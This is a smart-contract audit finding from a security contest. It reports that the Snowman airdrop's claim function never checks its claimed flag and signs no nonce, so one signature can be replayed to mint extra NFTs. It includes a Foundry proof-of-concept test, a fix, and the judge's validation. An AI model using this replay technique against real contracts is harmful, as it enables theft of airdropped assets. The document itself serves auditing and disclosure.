Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

`claimSnowman()` never checks `s_hasClaimedSnowman` and the signed message carries no nonce, so one signature replays into repeated NFT claims

sillyrobot796

Root + Impact

Description

  • A Merkle leaf is supposed to entitle its holder to one airdrop claim; the s_hasClaimedSnowman flag exists to enforce this, and the EIP-712 signature authorizes the claim.

  • The flag is written but never read, and the signed digest contains only (receiver, live balance) with no nonce. Whenever the receiver's balance returns to the snapshot amount, the digest — and therefore the signature — is identical, so the same (v, r, s) and proof can be replayed to mint again.

i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
​
s_hasClaimedSnowman[receiver] = true; // @> written but NEVER checked anywhere
​
emit SnowmanClaimedSuccessfully(receiver, amount);
​
i_snowman.mintSnowman(receiver, amount);
​
// ...
bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(addres receiver, uint256 amount)"); // @> no nonce field

Risk

Likelihood:

  • The digest is fully determined by (receiver, balanceOf(receiver)) — a user who re-acquires the exact snapshot amount (weekly earnSnow, purchase, or an inbound transfer) reproduces the identical digest, and the old signature stays valid forever.

  • The proxy-claim flow makes signature sharing routine (the relayer holds v, r, s), so any leaked signature remains a permanent mint authorization.

Impact:

  • Each replay mints another round of NFTs and locks more Snow inside the airdrop contract; the one-claim-per-leaf invariant of the Merkle distribution is broken.

Proof of Concept

forge test --mt test_04_repeatClaimWithSignatureReplay -vvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {Helper} from "../script/Helper.s.sol";
​
contract AuditPoC_M2 is Test {
SnowmanAirdrop airdrop;
Snow snow;
Snowman nft;
​
bytes32[] AL_PROOF = [
0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52,
0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af,
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1
];
​
address alice;
uint256 alKey;
address satoshi;
​
function setUp() public {
Helper deployer = new Helper();
(airdrop, snow, nft,) = deployer.run(); // 5-user merkle tree, alice has 1 Snow
(alice, alKey) = makeAddrAndKey("alice");
satoshi = makeAddr("relayer");
}
​
function test_04_repeatClaimWithSignatureReplay() public {
// --- first claim (happy path) ---
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice)); // flagged as claimed...
​
// --- alice re-acquires exactly 1 Snow (snapshot amount) ---
vm.warp(block.timestamp + 1 weeks + 1);
vm.prank(makeAddr("bob"));
snow.earnSnow();
vm.prank(makeAddr("bob"));
snow.transfer(alice, 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
​
// identical balance -> identical digest -> SAME signature replays
assertEq(airdrop.getMessageHash(alice), digest);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s); // no revert
​
assertEq(nft.balanceOf(alice), 2); // two claims from one merkle leaf
assertEq(snow.balanceOf(address(airdrop)), 2); // more Snow locked
}
}

Recommended Mitigation

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (receiver == address(0)) {

Additionally, include a nonce in the signed message (e.g. SnowmanClaim(address receiver, uint256 amount, uint256 nonce)) so signatures are single-use.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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